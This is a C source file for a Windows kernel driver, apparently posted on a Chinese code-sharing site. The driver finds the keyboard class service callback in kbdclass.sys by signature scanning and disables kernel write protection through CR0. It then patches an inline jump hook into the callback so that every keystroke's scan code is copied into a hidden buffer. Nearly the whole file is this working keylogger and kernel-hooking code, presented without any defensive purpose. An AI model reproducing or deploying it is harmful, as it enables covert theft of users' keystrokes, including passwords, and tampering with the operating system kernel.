📄 hookkey.c
字号:
#include <ntddk.h>
//#include <ntifs.h>
#include <windef.h>
#include "HookKey.h"
#include "struct.h"
#include <ntddkbd.h>
#define MAXBUF 0x15//存储键盘扫描码的缓冲区,其中第一字节为当前存储位置,
ULONG g_OldFunction;
ULONG g_uCr0;
BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函数的前字节内容
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移,所以有个 0x08
PDEVICE_OBJECT pDevObj;
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataSection;
PVOID KeyBuf;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
VOID ReadKeyBuf();
VOID ChangeFake_Function();
VOID
fake_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
#endif
VOID
Proxy_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
typedef VOID
(*My_KeyboardClassServiceCallback) (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
{
ULONG uAttr;
_asm
{
push eax;
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax;
cli
};
g_uCr0 = uAttr; //保存原有的 CRO 屬性
}
VOID WPON()
{
_asm
{
sti
push eax;
mov eax, g_uCr0; //恢復原有 CR0 屬性
mov cr0, eax;
pop eax;
};
}
//
// 停止inline hook
//
VOID UnHookOldFunction ()
{
KIRQL oldIrql;
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 );
KeLowerIrql(oldIrql);
WPON();
g_bHooked = FALSE;
}
//
// 开始inline hook -- OldFunction
//
VOID HookOldFunction ()
{
KIRQL oldIrql;
if (g_OldFunction == 0) {
DbgPrint("OldFunction == NULL\n");
return;
}
//DbgPrint("开始inline hook -- OldFunction\n");
DbgPrint( "OldFunction的地址t0x%08x\n", (ULONG)g_OldFunction );
// 保存原函数的前字节内容
RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★
*( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction - (ULONG)g_OldFunction - 5;//★
// 禁止系统写保护,提升IRQL到DPC
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
*( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)g_OldFunction + 5 );//★
RtlCopyMemory ( (BYTE*)Proxy_OldFunction, g_OrigCode, 5);//修改Proxy_OldFunction函数头
RtlCopyMemory ( (BYTE*)Proxy_OldFunction + 5, jmp_orig_code, 7);
// 恢复写保护,降低IRQL
KeLowerIrql(oldIrql);
WPON();
g_bHooked = TRUE;
}
VOID ChangeFake_Function()
{
KIRQL oldIrql;
int i;
ULONG addr=(ULONG)fake_OldFunction;
ULONG code_fill=0xAAAAAAAA;
DbgPrint("fake_OldFunction:%x",addr);
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
for (i=0;i<0x200;i++)
{
if (*((ULONG*)(addr+i))==code_fill)
{
DbgPrint("AAAAAAAA Finded:%x",KeyBuf);
*((ULONG*)(addr+i))=(ULONG)KeyBuf;
}
}
DbgPrint("AAAAAAAA:%x",*((ULONG*)(addr+i)) );
KeLowerIrql(oldIrql);
WPON();
}
VOID ReadKeyBuf()
{
BYTE Index=*(BYTE*)KeyBuf;
BYTE i,j;
// BYTE _Buf[MAXBUF];
for (i=0;i<MAXBUF;i++)
{
DbgPrint("Key Code:%x",*(BYTE*)((BYTE*)KeyBuf+i));
}
}
//
// 跳转到我们的函数里面进行预处理
//
__declspec (naked)
VOID
fake_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
)
{
__asm
{
push eax
push ebx
push ecx
push esi
xor esi,esi
mov eax, [0xAAAAAAAA];
mov ebx, [esp+0x18]
//movzx ecx, word ptr [ebx-20]//+2
mov cl , byte ptr [ebx+2];//按键码
mov ch , byte ptr [eax];//得到当前位置->ch
cmp ch , MAXBUF
jnz NotLastPlace
mov ch, 0x0;
NotLastPlace:
inc ch
movzx si,ch
mov byte ptr [eax], ch
mov byte ptr [eax+esi],cl
pop esi
pop ecx
pop ebx
pop eax
jmp Proxy_OldFunction ;//★在这一系列JMP中,没有一处使用CALL,简化了代码,增强了稳定性
}
}
//
// 代理函数,负责跳转到原函数中继续执行
//
__declspec (naked)
VOID
Proxy_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
)
{
__asm { // 共字节
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 前字节实现原函数的头字节功能
_emit 0x90 // 这个填充jmp
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 这字节保存原函数+5处的地址
_emit 0x90
_emit 0x90 // 因为是长转移,所以必须是0x0080
}
}
//////////////////////////////////////////////////////////////////////////
PVOID
GetModlueBaseAdress(
char* ModlueName,
BOOL bKernelBase
)
{
ULONG size,index;
PULONG buf;
NTSTATUS status;
PSYSTEM_MODULE_INFORMATION module;
PVOID driverAddress=0;
ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){
DbgPrint("failed alloc memory failed \n");
return 0;
}
status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
if(!NT_SUCCESS( status )) {
DbgPrint("failed query\n");
return 0;
}
module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
// 系统模块基址
if ( TRUE == bKernelBase )
{
driverAddress = module[0].Base;
DbgPrint("KernelBase:%x\n",driverAddress);
goto _x_;
}
// 其他模块基址
for (index = 0; index < *buf; index++) {
if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, ModlueName) == 0)
{
driverAddress = module[index].Base;
DbgPrint("Module found at:%x\n",driverAddress);
goto _x_;
}
}
_x_:
ExFreePool(buf);
return driverAddress;
}
ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );
}
//根据特征值,搜索OldFunction
ULONG FindOldFunctionAddress()
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrLinkName;
UNICODE_STRING ustrDevName;
PDEVICE_OBJECT pDevObj;
ULONG i, curAddr;
PUCHAR FileContent;
DWORD dwRet,dwSize;
PVOID pTmp;
LARGE_INTEGER timeout;
KEVENT Kevent;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
KEYBOARD_INPUT_DATA kid;
ULONG Addr_OldFunction = 0;
ULONG code1_sp2=0x8b55ff8b, code2_sp2=0x8b5151ec, code3_sp2=0x65830845,code4_sp2=0x8b530008;
//KbdInit();
g_kbdclass_base = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );
DbgPrint("kbdclass.sys: 0x%08lx\n", (PVOID)g_kbdclass_base);
if ( 0 == g_kbdclass_base ) {
DbgPrint("ERROR: g_kbdclass_base == 0\n");
return STATUS_SUCCESS;
}
curAddr = g_kbdclass_base;
// DbgPrint("curAddr: 0x%08lx\n", curAddr);
for (i=curAddr;i<=curAddr+0x2000;i++)
{
// DbgPrint("i: 0x%08lx\n", i);
if (*((ULONG *)i)==code1_sp2) {
if (*((ULONG *)(i+4))==code2_sp2) {
if (*((ULONG *)(i+8))==code3_sp2) {
if (*((ULONG *)(i+12))==code4_sp2) {
g_lpKbdServiceCallback=i;
break ;
}
}
}
}
}
Addr_OldFunction = (ULONG)g_lpKbdServiceCallback;
DbgPrint("KeyboardClassServiceCallback: 0x%08lx\n", (PVOID)g_lpKbdServiceCallback);
//DbgPrint("g_kbDeviceObject: 0x%08lx\n", (PVOID)g_kbDeviceObject);
return Addr_OldFunction;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
UNICODE_STRING strLink;
RtlInitUnicodeString(&strLink, L"\\DosDevices\\devHookKey");
DbgPrint("My Driver Unloaded!");
DbgPrint("MyKeyboardClassServiceCallback invoked: %x",KeyCode);
ReadKeyBuf();
ExFreePool(KeyBuf);
IoDeleteSymbolicLink(&strLink);
IoDeleteDevice(DriverObject->DeviceObject);
UnHookOldFunction();
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrLinkName;
UNICODE_STRING ustrDevName;
DWORD dwSize,dwRet;
PVOID pTmp;
KEYBOARD_INPUT_DATA kid;
DbgPrint("My Driver Loaded!");
theDriverObject->DriverUnload = OnUnload;
RtlInitUnicodeString(&ustrDevName, L"\\Device\\devHookKey");
status = IoCreateDevice(theDriverObject,
0,
&ustrDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);
if(!NT_SUCCESS(status)) {
DbgPrint("IoCreateDevice = 0x%x\n", status);
return status;
}
RtlInitUnicodeString(&ustrLinkName, L"\\DosDevices\\devHookKey");
status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);
if(!NT_SUCCESS(status)) {
DbgPrint("IoCreateSymbolicLink = 0x%x\n", status);
IoDeleteDevice(pDevObj);
return status;
}
KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);
*((BYTE*)KeyBuf)=0x0;
ChangeFake_Function();
g_OldFunction = FindOldFunctionAddress();
HookOldFunction();
return STATUS_SUCCESS;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -